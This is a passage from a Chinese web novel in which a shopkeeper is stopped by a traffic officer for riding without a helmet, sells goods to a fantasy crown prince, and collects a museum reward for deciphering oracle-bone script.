黎行聿有了不妙的预感，心虚说：“我也要戴那个……头盔？” 镭射紫、狗耳朵，那顶令人绝望的头盔，黎行聿无视了它。 萧妧妧的语气绝望极了，“当然，就是载了只狗也要戴。” 视角关系，她最多能从后视镜里看到黎行聿的五官，头顶真没怎么注意，要不是她刚刚想起来检查一下，估计没那么容易发现。 黎行聿：…… 一片沉默中，最绝望的情况发生了。 交警不仅注意到了镭射紫史努比，还一步步向两人走来，挥手示意他们下车，她根本来不及撤退。 萧妧妧垂下脑袋，唉声叹气，接受现实后，认命的下车。 黎行聿不懂她为什么这样一副表情，“是需要罚款吗？我来负责吧。” 萧妧妧苦笑，“我宁愿是罚款……” 黎行聿更加困惑了，眉梢轻挑。 萧妧妧冲他耸肩，坚强微笑。 社死嘛，她熟。 43 第43章 ◎可不可以不拍照啊，家里人不知道我干这个◎ 交警一步步走近,引导萧妧妧推车到人行道上，避让过往车辆。 萧妧妧边乖乖跟上，边偷觑交警脸色，不死心的问：“……可以选择罚款吗？” 交警看她一脸生无可恋,好笑的开口教育：“你说呢？大老远就看到你们了,真嚣张啊,不戴头盔还敢往前面挤,我拦下你们是为你们安全着想，不止是驾驶的人,乘客也要戴头盔。” 萧妧妧忙不迭点头，乖巧的连声附和。 黎行聿完全不明白事情的严重性,淡定又茫然地等待交警处理。 交警伸手，示意萧妧妧交出手机。 萧妧妧瘪瘪嘴,可怜兮兮的恳求：“警察叔叔，可不可以不拍照啊,家里人不知道我在外面干这个。” 黎行聿听得眉头紧皱,强忍着没打断她。 交警失笑,“不想拍照下次记得戴头盔。”然后招了招手,催促她。 萧妧妧欲哭无泪,她自己是知道规矩的，这不是出了意外，载一个没坐过电动车的人。 想到这里，她气不打一处来,头盔明明放在后座垫上，那么显眼,有点眼力见的人都能明白意思,黎行聿完全无视。 别以为她不知道,黎行聿明摆着是在嫌弃。 萧妧妧暗戳戳的问：“是只有我需要拍吗？还是我们各自拍一张。”暗示意味十足。 要社死一起社死，谁也别想逃！ 交警抽走她的手机，又示意黎行聿递来手机，“两人一起，先到五十赞的可以离开。” 黎行聿不妙的预感更加强烈了，不解的问：“五十赞是什么意思？” 萧妧妧冲交警叔叔笑了笑，“他是第一次坐电动车，第一次被交警拦下，不知道我们这里的规矩。” 交警打量他一眼，完整解释一遍规定，“南市整治电动车出行不戴头盔的乱象，被拦下的驾驶人和乘客需要拍照发朋友圈，集齐五十个赞才能走。” 黎行聿身形僵硬，神情有一瞬间空白。 交警硬生生抽走了黎行聿手机，随后递来一块牌子示意他们接住。 “站近点，把脸露出来。” 黎行聿凝视着印有“我不戴头盔，大家别学我”的标牌，眉头皱出一个深刻的川字。 “不可以选择罚款吗？”他再次确认。 交警看出他的局促，狠心摇头。 萧妧妧怯怯举手，弱声问：“……可以用美颜吗？今天出门没化妆。” 何止没化妆，头发也没洗，因为起迟了，衣服是随手从衣柜里扯的一件旧T恤，谈不上穿搭。 她要以这副尊容面对朋友圈众位观众，想发癫的心都有了。 交警没说话，瞥了她一眼，什么意思不言而喻，萧妧妧不由垮下肩膀。 美颜没可能，什么蹲下仰拍内扣四十五度……的要求，更不用想。 萧妧妧高举起牌子，试图挡住脸，然而交警很快看穿她的小心思，制止了她。 黎行聿偏头望一眼身侧的镭射紫大脑袋，萧妧妧的抗拒赤裸裸写在脸上，明媚灵动的狐狸眼低垂着，整个人像褪色一样黯淡下来。 “抱歉，我不知道不戴头盔要……我会想办法补偿你。” 面对黑历史见证者以及罪魁祸首，萧妧妧不太想和他说话，有气无力地摆摆手，拒绝了他的补偿提议。 黎行聿止又欲言，交警已然走来，打断了他。 “行了，按照标牌下面那段话发条朋友圈，你们先等着，到了五十个赞给我看一眼。” 萧妧妧接过手机根本没勇气看，第一时间警告他：“不许看照片，看到也请忘掉。” 至少不能当着她的面看，萧妧妧真的会当场表演钻地缝。 黎行聿好脾气的应声，退出相册。 萧妧妧勉强满意。 抱着破罐破摔的态度，她闭着眼睛按下发布，跳转到相亲相爱一家人的聊天群，号召姐姐妹妹哥哥弟弟点赞。 为了集齐五十个赞，萧妧妧能屈能伸，连三婶王翠菊一起骚扰。 她也不想的，算上刚添加的黎行墨，她的好友数量总共一百出头，集齐五十赞太难了。 三婶净给她添堵，是时候派上用场。 “……萧小姐，可以麻烦你帮我设置一下朋友圈吗？”黎行聿略显为难的开口。 萧妧妧是发朋友圈的熟练工，流程已经走到等赞的步骤，转头一看，黎行聿那里才打开月亮号，等她接过手机再一看，好家伙，人家根本没有朋友圈。 准确的说是不用朋友圈，直接不显示朋友圈这个功能，需要操作几下设置开通。 萧妧妧同情地望了他一眼，第一条朋友圈就是黑历史，一时间分不清谁更倒霉。 手机品牌和型号很陌生，萧妧妧操作得不太顺畅，耽误了一会时间研究，等她修改完设置，手机递还回去，她收到了二十个赞，甩开黎行聿一大截。 萧妧妧看一眼时间，九点零八，最迟九点二十要离开这里。 黎行聿表情和情绪都挺平淡，也没见他催促过，卡皮巴拉一样的稳定，根本看不出来急不急，相比起来，反倒是萧妧妧这个太监更显得着急。 她背着双手，小老头一样来回踱步，隔一会看一眼手机，看一眼手机，叹一口气。 “我有五十个赞了。” 等了没两分钟，黎行聿进度反超，先一步完成任务，萧妧妧一惊，忙低头看自己的。 不去管哈哈哈的评论，只看赞，总共四十八，然而能摇到的人都齐了，萧妧妧想不到找谁凑数。 “差几个？”黎行聿看向暗自着急的萧妧妧。 萧妧妧急得快冒汗了，“两个。” 黎行聿直接递出手机，“扫一下。” 萧妧妧有种得救的感觉，哦了一声，乖乖照做。 新好友添加，没一会，朋友圈显示新增两个点赞，刚刚好五十个。 萧妧妧一下子活泼起来，欢呼一声，举起手机炫耀，“警察叔叔，齐了！” 一边欢呼，她一边截图保存，防止出现意外。 交警核对数量后又教育了他们几句才放行，萧妧妧长舒一口气，马不停蹄跑回史努比旁边。 “快上车，时间还来得及。” 黎行聿熟练地跨上坐垫，等史努比摇晃两下重新稳住，萧妧妧嗖一下冲出去。 路上电动车少了大半，萧妧妧加速通过，才穿过一个路口，风驰电掣地史努比突然萎了，速度缓慢的向前挪动。 黎行聿：“它怎么了？” 萧妧妧笑容勉强，“好像……没电了。” 昨晚回去的迟，她不好弄出大动静，便没想起来充电。 当然，这不是主要原因，是她没想到今天会骑这么远。 萧妧妧急得抓耳挠腮，发现头顶戴着头盔，挠不到，更急了。 眼看着离目的地也就两个路口的距离，不远不近，萧妧妧用上了老法子。 “宝贝加油~马上就到啦，姐姐回去给你充电，充满满的电。” “宝贝真厉害，再坚持一下，只要一下下~” “我只和宝贝最要好，其他电动车加起来比不上你一个轮子！” “我最喜欢宝贝了，宝贝你一定要坚持住啊。” 她一改柔软声调，掐着嗓子挤出甜腻声线。 黎行聿不想质疑她的，但…… “……这是你想到的办法？” 萧妧妧抽空偏头，恢复正常语调，煞有介事的说：“对啊，你别不信，万物有灵。” 然后赶紧转过头，不带一丝磕绊的切换甜腻嗓音，“宝贝太优秀了~又走了十米呢，再努努力，咱们一鼓作气好不好？” 黎行聿揉了揉酥痒的耳廓，正想打断她，恰好这时，电动车好像突然通电似的，速度逐渐加快。 黎行聿：？ 萧妧妧仰头，冲黎行聿挤了挤眼睛，一副“我没骗你吧”的得意模样，欢快的说：“我的宝贝太厉害啦，怎么能这么厉害，你太让姐姐长脸了。” 黎行聿摸了摸鼻尖，没作声。 浮夸的赞美中，史努比成功抵达定位地点——黎明大厦广场前，时间才走到九点二十。 史努比一停下，黎行聿迫不及待翻下车，“萧小姐可以进大厅稍等一会，我安排人送你回家。” 萧妧妧习惯性要和他客气，想起她现在没有客气的资本。 “好啊，谢谢黎先生，”视线偏移，她看到有过一面之缘的秘书先生带着几位助理赶来，萧妧妧不好再耽误他时间，指了指后方，“你快进去吧，有人来找你，路上小心。” 黎行聿也看到了他们，匆匆向她颔首道谢，大迈步与秘书助理们汇合，在他们的簇拥下迈进高耸入云的办公楼。 人影走远，萧妧妧顿时双手捧心，幸福微笑。 五万块成功拿下！ 同样是挣钱，萧妧妧解释不清，为什么会觉得三次元挣到五万，比从小说位面的客人那里挣十万要开心很多。 笑容只维持了两秒不到，萧妧妧低呼一声完蛋，飞快掏出手机。 果然，照片丑得出奇。 一米六八的身高不算矮，但有黎行聿做参照，显得她特别矮墩墩，再有阴沉天气加持，冷白的旧T恤补刀，萧妧妧感觉照片里的自己灰扑扑。 恨恨地删掉照片，萧妧妧戳进翻找黎行聿的朋友圈。 她添加了两个账号，应该是黎行聿的工作号以及私人号，两个头像一个是蓝天，一个是捷克狼犬的狗头。 戳开狗头账号的朋友圈，不出意外是私人号，因为她看到共同好友黎行墨点赞并评论。 评论区数他最显眼，留下一长串的哈，吵得眼睛疼。 萧妧妧措辞片刻，给黎行聿发去一条留言，恳切请求他抽空删朋友圈，照片一定要删除并清空。 黎行聿没回复，应该是在忙，萧妧妧不敢想这几分钟有多少人看到了她的黑照，心里郁闷。 “铃铃铃” 萧妧妧等回复的时候，黎行聿发来了语音通话邀请。 不是吧，他不会连朋友圈怎么删都不知道吧……萧妧妧嘀咕一会，接通电话，“黎先生？” 黎行聿那里声音吵杂，没一会，吵杂声消失，黎行聿的声音响起. “萧小姐还在楼下吗？刚才走得匆忙，电脑落在你那里，我的秘书已经下楼了，你把电脑交给他就好。” 萧妧妧一拍脑门，懊恼道：“好的，黎先生放心。” 挂断电话，萧妧妧抽出笔记本电脑，抱起它往大厦的旋转门跑。 几乎是刚到门口，秘书先生小跑着迎上来，接走笔记本，客气与她道谢。 “萧小姐稍等一会，司机很快过来。” 秘书先生着急，急匆匆道谢急匆匆离开，留下的助理负责招待她，请她在会客区稍坐，递来茶水，陪她等司机。 叮咚一声，黎行聿回消息了- 收到 简短的回复跃入眼帘，莫名戳中萧妧妧笑点，耸动肩头闷笑一会，回他一个猫猫敬礼的表情包结束本次聊天。 退出聊天框，萧妧妧又去他朋友圈看了一眼，已经删除，看不到一点痕迹。 萧妧妧浑身轻松，转而回应家族群里的消息。 大伯母：妧妧找对象了？个子真高啊，长得也好看，什么时候带回家啊？ 大伯：出去约会好好打扮一下，你看看你穿的，啧啧。 张芸：难怪王翠菊说你天天往外跑，我以为她在放屁。这小伙不错，看着精神，能把白衬衫穿得好看的男孩子长得都不差。妈同意你往外跑了，好好约会，店铺妈给你看着。 大堂姐：头盔不错，链接发我。 小堂妹：洞洞鞋好看，链接发我。 萧妧妧瞬间失去了笑容。 44 第44章 ◎殿下可否帮我一个忙？◎ 萧妧妧的无语不止一点点,唯一庆幸的是，大家的注意力全放在黎行聿身上。 她费了大力气解释，屏幕敲得哒哒哒响，勉强让大家相信她只是出门赚钱。 张芸:小卖部倒闭了吗？需要你出去干滴滴代骑,赶紧回来看店,我忙着呢。 萧妧妧一脸问号,张女士变脸是否太快？ 放下手机没多久,黎行聿安排的司机恰好找来，贴心的帮她搬电动车,助理先生更贴心，前后帮忙,等她上车，目送她离开才转身回去。 提前告知司机师傅老城区隧道积水,他调转车头驶向另一条路，绕远回到月牙巷。 因道路过于拥堵,车子在距离月牙巷三个路口的地方停下,司机师傅特别热心,帮她推电动车到小卖部门口。萧妧妧想表示一下心意,司机师傅连连推拒,小跑着离开。 萧妧妧感叹一番，给电动车充电，再给黎行墨一个反馈。 黎行墨几乎是秒回，发来一个手绘小人捶地大笑的表情包,嘲笑意味十足。 萧妧妧郁闷撇嘴，多看一眼上面的转账记录才让心情好转,退出聊天。 十点整,小卖部正式开始今日份营业。 萧妧妧实在顾不上店铺,挂上无人自助的牌子回到后院。 方叔叔按照约定时间，带人送东西上门，整整十个箱子。 “后面两个房间你打通了？这里用来卖艺术品？” 方叔叔想着自己做过几年生意，正好可以给萧妧妧支支招，哪怕教她怎么把东西摆得好看也行，多少是个心意。 萧妧妧巴不得有人指点他，请方叔叔进门。 “对，两间卧室打通了，大概五十多平吧，够放不少东西。 还好我妈有先见之明，小卖部装修的时候后院跟着翻新一遍，墙面都是干净的，中间的挡板请了装修队过来拆掉，又补了漆，正好这两天散散味。 总得来说没费什么事，现在只等柜台进场。” 方叔叔看着干干净净的宽敞房间，连连点头，“不错，像样子了，柜台要贴边放，不要中间摆着，回头客人碰倒了容易出事，赔不起钱都好说，伤着人事就大了，贵重的东西得仔细摆放，最好多布几个摄像头，还有灯光，你这屋子采光不错，但是开店嘛，多来点射灯照着看着亮堂。” 方叔叔想到哪里说哪里，萧妧妧一一记下。 “萧女士在不在，您定的家具到了，我们从哪送进来？” 正在这时，家具城的工作人员摸上门，方叔叔看她挺忙，摆摆手，溜溜达达回家。 萧妧妧核对过清单，指挥工作人员把展示柜挪进屋子，再配合她的需要调整。 这一通忙，时间过得飞快，已经十二点。 萧妧妧简单吃两口，又要忙着打扫卫生，等垃圾清理干净、展示柜全部擦拭一遍，柜台里铺上软垫，灯光全部打开，看起来真有几分古董铺的样子。 不敢想苏娇娇把东西送来后，这间屋子得有多值钱。 想到这里，萧妧妧去看C大鉴定中心的小程序。 起心动念当天她就联系了机构，当晚把东西简单整理出来寄过去，那两天忙得她腰酸背痛，后来差点给忘了。 点进小程序，看到上面的已寄出标签，萧妧妧踏实了，刚好赶得上开业。 为了让艺术品集合店看起来更丰富，她把苏娇娇送来的金貔貅、两套古墨，申明月的宝石匕首，龙傲天送来的妆匣以及妆匣里的珠钗、翡翠耳饰，玉仁斋转过来的摆件等物，通通摆进去。 关门前她忍不住看了最后一眼，越看越满意。 现在还有一件事需要她解决，艺术品集合店还缺一个响亮的名字。 “取名字？我吗？” 电话那头，云昭昭一脸震惊，不敢相信妧妧姐会交给她这么重要的任务。 萧妧妧重重点头，“对啊，你没听错，取名废实在想不出。” 倒也没有废到那种程度，萧妧妧主要是想蹭蹭云昭昭的女主光环。 云昭昭很高兴妧妧姐对她的信任，一口应下，坐到书桌旁翻书翻字典，争取想出一个惊顾客泣同行的好名字。 被冷落的黎行墨很不满，他好不容易从外甥女手上抢到人，还从季随那个心机男那里转移她的注意力，结果输在萧妧妧手上。 “学长……我现在有正经事要做。”云昭昭红着脸推开他。 “难道我的事不正经？”黎行墨垂眸，一副可怜巴巴的样子，“你查你的，我忙我的，我不会打扰你。” 不等云昭昭开口，他自顾自上前从背后揽住她，含糊不清的在她耳边低语。 黎行墨手段太多了，云昭昭很快无力拒绝，手上的书本什么时候掉在地上也不知道。 萧妧妧莫名地看着电话，怎么说着说着挂断了，想到她应该在黎家，身边有个黎行墨，瞬间破案。 “萧老板，孤的药可准备好了？” 萧妧妧白眼翻到一半，小卖部来客人了，自称孤，一听就是龙傲天。 “早准备好了，等你好几天。”萧妧妧迈步进店，看他穿着常服，关心道：“怎么样？有没有人撺掇你出征？” 龙傲天望向眨着眼睛满怀期待的萧妧妧，面无表情戳穿她，“你不是关心孤，是关心孤的千金。” 萧妧妧当听不懂，嘿嘿笑，请他坐下，为他斟茶。 “老七那里不曾有动静，估摸着是想做得稳妥一点，毕竟没有下毒陷害一事发生，他的提议没那么容易让大家接受，是要好好想个理由，”龙傲天喝下一口白开水，随即露出嫌弃神色，遗憾道：“琉璃杯净透，可惜没配好茶。” 萧妧妧失望片刻，趁机推销：“不可惜，殿下您买了杯子回去自己泡，您的茶叶肯定比我这里好。” 龙傲天把玩片刻，淡淡道：“可。” 萧妧妧抬手，引导他看向身后货架，“确定只要一个杯子吗？” 龙傲天本不打算买东西的，结果转头看见手持镜，当即挪不开眼。 “这镜子……” 龙傲天毕竟是太子，见多识广，他记得母后宫中就有这样一面纤毫毕现的镜子，但与小卖部的手持镜相比，是处处不及。 “嘿嘿，新品上市，买两件打九折。” 萧妧妧得意，这是她精挑细选的古风文创镜子，进店的客人无不是被它迷得晕头转向。 申明月点名要了一百把，她坚信镜子会比清单上面的所有物件都好卖，容易拉拢客户，打开销路。 龙傲天放下茶杯，接住萧妧妧递来的样品，左右脸来回照。 “手持镜适合姑娘用，你家里媳妇多，最好是多准备几个，免得为了一个镜子闹起来，惹得家宅不宁，不值得。” 龙傲天瞥她一眼，哼了一声，别以为他没听出她在撺掇他多买点。 “就两把，孤一把，太子妃一把，其他……不给也罢。” 说他渣吧，知道给原配正房送礼物，心里有媳妇，说他不渣吧，他有一个太子妃不够，还有好多侍妾，但他对侍妾并不上心。 萧妧妧摇摇头，打包好两把手持镜递给他，“折后九十两。” 龙傲天爽快掏荷包，竟是全部丢了过来。 “镜子的钱，外加伤药和那个什么饼干的尾款。” 萧妧妧哇喔一声，惊喜地接过荷包，再找来电子秤称重。 “太子殿下太客气了，”萧妧妧按几遍计算器，看到最终数额停在8700克上，笑容越发真诚，“殿下您稍坐，我马上给您准备东西。” 三台小拖车排在结界处，萧妧妧直接从空间放出止血药5000瓶。 龙傲天揉了揉眼睛，不可思议地瞄向萧妧妧。 “别看了，赶紧推回去啊。”萧妧妧催促。 止血药和压缩饼干数量多，仓库塞不下，系统空间解决了大难题，关键是拿取方便，不需要她费力气，太完美了。 龙傲天深深地端详她，面露沉思。 萧妧妧不怕他沉思，就怕他看低了小卖部。 出神片刻，龙傲天很快反应过来，苦哈哈地搬运物资。 等他送还一台拖车，萧妧妧便趁空隙堆放压缩饼干，两人搭配出流水线的感觉。 饼干是按照一万人份吃六顿的量准备，多得离谱，在空间里只有一串数字，真要一箱箱运的时候，是个大工程。 萧妧妧坐在一旁，晃着脚丫看他忙得喘不上气，百无聊赖的时候瞥到结界显示的画面。 “外面是你家？” 阳光正好，洒在案几和瓷瓶上，房中央有一金色大鼎，里面冒出丝丝缕缕白雾，还有各色瓜果。 龙傲天呼哧呼哧喘气，抽空回她，“母后送给孤的温泉别庄，宫城中耳目众多，孤只能在这里藏它们。” 萧妧妧的目光在案几、瓷瓶、屏风等处流连许久，半晌，她露出神秘微笑。 “太子殿下可否帮我一个忙？” 龙傲天狐疑看她，“什么忙？你说来听听。” “咚咚咚” 萧妧妧措辞一番，想要告知自己的打算，紧闭的感应门忽然被人敲响，打断了她即将出口的话。 两人动作一致，循声走出去几步，转头看向大门外。 高矮胖瘦加起来七八人左右，看着都在六十岁左右，个个是老派学者的打扮。 “萧女士在吗？我们是文字博物馆的人，有些事想了解一下。” 随行的中年男人敲一会门，礼貌又客气的冲着门内喊话。 文字博物馆……萧妧妧一拍脑门，恍然大悟，随即生出愕然情绪。 人都找上门了，难不成真让申明月搞到了一百三十万？ 45 第45章 ◎十四个字，一百四十万◎ 萧妧妧不由庆幸,幸好她谨慎，早早关闭店门，防止客人闯进来。 “我这里有点事，一时半会结束不了,你先回去,晚一点再来,”萧妧妧赶紧催他离开。 龙傲天想也没想的同意了,他快累得不成人样，因为好面子一直在苦撑,萧妧妧的提议正好戳中他的心坎。 龙傲天顾不上礼仪，逃似地回寝室歇息歇息。 等结界恢复成大白墙,假门合拢，周遭看不出半点异样,萧妧妧理了理衣服，打开大门迎接客人。 “我就是萧妧妧,”看到面前几位老学者面露迟疑,萧妧妧请他们进店,“几位是为了前几天的邮件？” 萧妧妧请他们进院子,院中央的木绣球下面有石桌石凳,她再搬来几把椅子，刚好够招待客人。 几位老学者都没想到，他们要找的萧女士竟然这么年轻，但人不可貌相,他们很快回过神，先自我介绍一番。 “是,确实为了邮件来的,萧女士一直没回邮件,我们便想着上门看看。”为首的老学者笑容慈祥，语气温和。 萧妧妧连声说几句抱歉，打开手机一看，果然有来自文字博物馆的邮件。 因为不抱希望，投稿发出后她一直没挂在心上，加上邮箱APP常年是免打扰状态，就更想不起来邮件的事。 “我们不绕弯子了，这次来是想请教萧女士，您为何笃定那些甲骨文就是您所发的几个文字？您破译的依据可否与我们分享分享。” 她不禁反问：“是破译有问题吗？” 老学者连连摇头，略显激动：“不不不，正相反。经过我们委员会的共同验证，在我们收到的破译投稿中，萧女士的破译不仅数量最多，难度最大，同时也是正确率最高的，只是您的破译实在太……所以我们不得不找您讨论一下。” 老学者姓崔，是文字博物馆专家委员会成员，负责甄别投稿，给出最终评判结果。 投稿截止的那天，投稿邮箱总共收到三份邮件，一如既往的无人问津，崔教授看着邮箱心都凉了。 等三份邮件打印出来分发下去，委员会十五名成员共同研读评判与学习，结果前两份论文看了个开头就让他们挑出错误，大家论文所引用的参考资料有几本被证实不成立，这意味着论文毫无价值。 大家唉声叹气的时候，有人注意到了第三份邮件。 按理说，只写答案不给论文的投稿在第一步就该剔除，实在是他们接到的投稿数量少，且出于谨慎的态度，还是决定再仔细看看。 这一看，当即有人发现问题。 委员会成员之一的韩教授正在研究其中一个甲骨文，已经进行了大半年，偏偏卡在的重要关卡过不去，思路像打结一样，他粗略翻看过一遍，一眼瞥到自己的研究。 韩教授出于好奇也是出于莫须有的期待，代入正确答案倒推，结果还真让他打通了思路。 他再按照自己的思路一步步顺下去，得到了和纸上一致的文字，韩教授激动的差点晕倒。 “老崔、老李、老王！你们快看第三份投稿！对了一个，真*的有人答对了。” 办公室里，韩教授挨个报告喜讯。 老李喝一口茶：“答对了？就写个字，难道要我们给它证明？” 老王舒展筋骨：“哎呦，连个论文都没有，参考资料也不写，这怎么看啊。” 韩教授看他们一脸不相信的表情，直跺脚：“你们看，这就是我之前的研究，这里是投稿来的，你们看看，是不是对了？对了一个，说不准其他也是对的，哪怕错了也没关系，就当找个新思路。” 几位教授纷纷凑在一起，这一看，还真是。 “等等，这里一共十五个字，咱们大家分分，一人一个。这……哎，不堪入目啊，辛苦大家倒推一下。” 崔教授一发话，大家自然是无话可说，领了文件自己去阅览室翻资料倒推。 起初，没几个人以为真的能顺利推出结果，破译过程是枯燥的，乏味的，也是持久的，耗费精力的，结果越是推演越是觉得有点意思。 因为这点“意思”，大家越发认真专注，甚至于废寝忘食。 “对了！是对的！十三号甲骨文破译出来了！” “老李你别嚎，我也快了，只差一点点……找到了！我的也是对的！” 崔教授揉揉干涩眼睛，再捂着怦怦跳的心口，喝一口浓茶，加速自己的研究。 “嘶……”崔教授在纸上写写画画，时不时翻找书册，没多会，他发出响亮的惊叹声，“竟然对了……一共对了多少字？” 韩教授在一边计数，道：“十四个了。” 闻言，大家齐齐嚯了一声，十四个！ 悬赏令接连发了五年，年年是十位数投稿，正确率则是零，今年算是最少的一次，看起来最不能出结果的一年，反倒是前所未有的大丰收。 “快！联系投稿人，说不准是哪个家学渊源的专家学者，咱们要好好聊聊。” “对对对，你们联系投稿人，我去申请悬赏金。实在太惊人了，没想到会有人一连破译十四个，这件事我得上报。” 韩教授摇摇头，“我发过邮件了，人家到现在没回复。” 为了等萧妧妧的回复，办公室里几个年过半百的老专家急得抓耳挠腮，像毛躁的小伙子。 一天又一天过去，对面却连通知领悬赏金的邮件都没拆开查看，他们实在憋不住，推了教学任务，找了个颁发悬赏金的借口，相约找上门。 他们自知冒昧，但为了破译甲骨文，再冒昧也得冲。 萧妧妧听到这里，不禁有些恍惚，还真对了啊。 果然是因为没有写解题步骤，几位专家心中有疑惑，好险她提前准备，否则要露馅。 依据她是说不出的，但知道破译结果是对的，萧妧妧是一点不担心了，大大方方拿出《古文释读》 “实不相瞒，我对甲骨文了解不深，能破译那些字，全靠它。” 老学者们面面相觑，推一下黑框眼镜，转过脸，好奇紧盯萧妧妧递来的册子。 萧妧妧随手翻开几页展示给他们，缓缓说： “我是开艺术品集合店的，你们可以理解为卖古董，所以经常自己搜罗一些玩意，这本《古文释读》是其中一个，说起来也是巧合，我偶然间翻了几页，刚好和博物馆的悬赏有些相似，我想着发邮件试试看，没想到……” 萧妧妧一本正经编胡话，一副为自己的误打误撞感到幸运的模样。 几位老学者闻言失望片刻，失望于萧妧妧一个甲骨文不认识，只是做生意的，随即目光炯炯，争着抢着要看《古文释读》。 他们以为萧妧妧会给出什么参考资料，结果倒好，直接给出一本甲骨文字典，惊得众人说不出话，如获至宝一般，一个个扒着册子仔细研读验证真伪。 有一较年轻学者没抢到，便问：“这册子您是从哪收来的？多少钱？愿不愿意卖？” 萧妧妧：“不卖，这册子的原件不知所踪了，只剩下手抄本，我是要留着收藏的。如果你们需要，我不收钱，你们带复印本走。” 较年轻学者面露犹豫，崔教授倒是果断开口，“复印本就复印本，只要内容在一切都好说。萧女士愿意让我们带走复印本已经很好了。” 萧妧妧这时注意到，翻过册子的几位无不是满面红光，欣喜之情溢于言表。 “妙啊，妙啊，老李你看这一页，有三个字是我们前年破译的。” “王老师你让让，我看到我正在研究的一个甲骨文。” 眼看着他们脑袋挨着脑袋，琢磨得快要吵起来，萧妧妧按下心底雀跃，问出最关心的话题。 “那……悬赏金是真的有十万？” “对对对，这次来不仅是想探究破译过程，也是要给萧女士送来悬赏金，不是骗人的，一个字十万，一分不少。” 老学者们看得心满意足时，全然忘记此行的另一目的，经萧妧妧提起，他们恍然拍手。 萧妧妧一听，顿时眉开眼笑，早在他们进门时，她就想问问他们是不是来给悬赏金的。 “那我对了多少个字？一共能拿多少？” “十四个，不多不少一百四十万。” 萧妧妧惊喜不已，“十四个？我以为最多十三个。” 申明月凭记忆胡乱写了几个上去凑数，两人都没想过能对，这下好了，比预想的多了十万，意外之喜。 “萧女士配合我们拍个照片吧？要举着支票拍的那种，照片是要挂在博物馆官网的，可能还会联系媒体宣传一下，鼓励更多人加入到破译工作中。”一挂着照相机的学者站出来提醒。 萧妧妧一口答应，答应完随即低头看自己的T恤大裤衩和洞洞鞋。 “……介意我换件衣裳吗？”萧妧妧弱声问。 老学者们很包容，说了句请便，大家继续低头研究册子。 萧妧妧顺势打开艺术品集合店的门，不遗余力的推销，“这是即将开业的艺术品集合店，几位教授要是觉得无聊，可以进来看看，里面有空调。” 离开前为他们续上茶水，看他们一个个背着手进店溜达，萧妧妧跑去客房翻找衣服。 大裤衩必须换，T恤显黑，也得换，等她换上稍微正经一点的衣服出来，院子里已经没了人影。 萧妧妧一边整理衣服一边往外走，抬眼看到几位老学者凑在一处柜台指指点点，赞叹连连。 【作者有话说】 投稿的剧情在35、36这两章，后来修改过写法，和旧版本有点出入，只记得旧版本情节的看到这章可能会稍微有点对不上号，解释一下。 46 第46章 ◎萧女士大义◎ “几位教授是看中什么东西了？”她随口问。 “萧女士,这两块墨能不能让我们看一眼？” 店铺里只有苏娇娇送给她的两套古墨，一套两块，一块约有六寸蛋糕那么大，高度在两厘米左右。 乍一看,四块古墨像四个圆溜溜的黑圆盘,仔细一看才能分辨出圆盘上面精雕细琢的繁复花纹,极具观赏价值。 四块之所以说是一整套,是因为每一块对应一个季节，雕花刻名,题款铭言，与其说是墨,更像是艺术品，加之古墨独有的沧桑感,绝对是有藏墨之好的人心头宝。 “好墨啊，难得见到如此精致的墨,没有残缺,花纹精美,关键还是一整套……” 显然,几位老学者都是有藏墨之好的人,喜爱之情跃与脸上手上。 “萧女士，古墨你打算卖多少？”最上头的一位学者急促追问。 萧妧妧怕吓走他们，没敢报太高，“古墨整套售出,四块一共一百六十万。” 这是她从许年华那里打听到的，单卖的话,一块三十万顶天了,行情好的时候能叫价更高,但也不会高出五十万。 一整套更容易卖出高价，叫价两百万不算贵，所以她报一百六已经是思考过后给出的低价。 几乎是一百六十万的价格报出口，兴致勃勃欣赏古墨的老学者们纷纷面露难色。 想来也是，他们一辈子坐在博物馆研究文字，哪能一下子拿出一百多万买四块不当吃不当用的墨。 “萧女士可否为我留些时日？最多五日，五日后我来将它买下。” 开口提出请求的正是脖子上挂着相机的学者，六十多岁的年纪，看着很和蔼。 萧妧妧想了想，这理由不算过分，只是保留五日，都没还价。 “可以啊，难得遇到欣赏它的人，若是能回到您手里，算是有了好去处。”萧妧妧客气应声，“只是也请您体谅体谅，要是反悔了告知我一声。” 看萧妧妧这么好说话，老学者果然高兴起来，递来名片，添加联系方式。 “我姓韩，叫我韩叔就行，萧女士放心，墨是肯定会买的，只是家里管钱的人这几日不得空。” 韩叔真诚的向她解释缘由，一旁的同事们无不是羡慕的眼红，连声打趣。 “老韩命好啊，闺女做生意赚了大钱，现在买墨都不还价了。” “嗐，这么好的墨给我留着，我也不还价。” “老韩，把你女儿一起带来看看，免得她以为你乱花钱。” 王教授碰了碰韩叔胳膊，“是啊，一百六十万不是小钱，让你闺女亲眼看看东西，别到时候你家那位又跟你吵吵。” 萧妧妧听他们絮絮叨叨，怪有意思，说了一阵子，韩叔恋恋不舍地放下古墨，捧起相机。 “不说了不说了，赶紧回家找女儿要钱去，来来来，拍照。”他笑呵呵吆喝。 老同事们笑骂几句他心急，慢慢往院子中央转移。 萧妧妧趁机把古墨包装好塞进柜子深处，快步走到他们中间。 “好，看镜头，支票抬高点，对对对……茄子！” 咔嚓一声，合照完成。 韩叔捧着相机回来给萧妧妧看一眼，“看，拍得不错吧？你看看这构图、这角度，我还调了什么美颜，保准你满意。” 萧妧妧忍不住笑，韩叔实在可爱。 “对了，还有个表格你要填一下，我们要带走交上去的。” 年轻学者想起来还有一茬，赶紧走流程。 萧妧妧捏着支票折又不敢折，塞进口袋怕弄皱了，全程翘着两指夹着支票，填完表格签字上交。 一起交上去的还有《古文释读》的复印本，几位老学者别提多感动了，握着萧妧妧的手不停感谢。 崔教授插话道：“萧女士大义，我们得宣传宣传，来来来，萧女士站中间，拿着支票和册子拍一个单人照。” 一句大义，夸得萧妧妧飘飘忽忽，神情窘迫，“这不会也要发到网上去吧？” 韩叔看她不太情愿，热心的劝：“哎呦，发网上多好啊，到时候新闻里写，‘古董店老板无偿捐赠古籍复印本，助力博物馆甲骨文破译’，我们请媒体把你家店铺名字写下来，萧女士以后还不是生意兴隆啊。” 此话一出，又招来几声打趣。 “瞧瞧，老韩的闺女能做大生意，看来还是遗传了老韩呢。” “哈哈哈，可不是，萧女士听老韩的吧，就当是给你铺子做宣传，也正好让大家知道，好人好报，让大家多多捐赠。” 玩笑话说完，大家哈哈大笑，一旁的萧妧妧像被点醒一样，浑身轻松。 她还是太胆小了，总担心别人惦记、起疑心，难免缩手缩脚，可现在这个时代，酒香还怕巷子深，是得宣传宣传。 “韩叔你等等，我擦个口红。” ………… 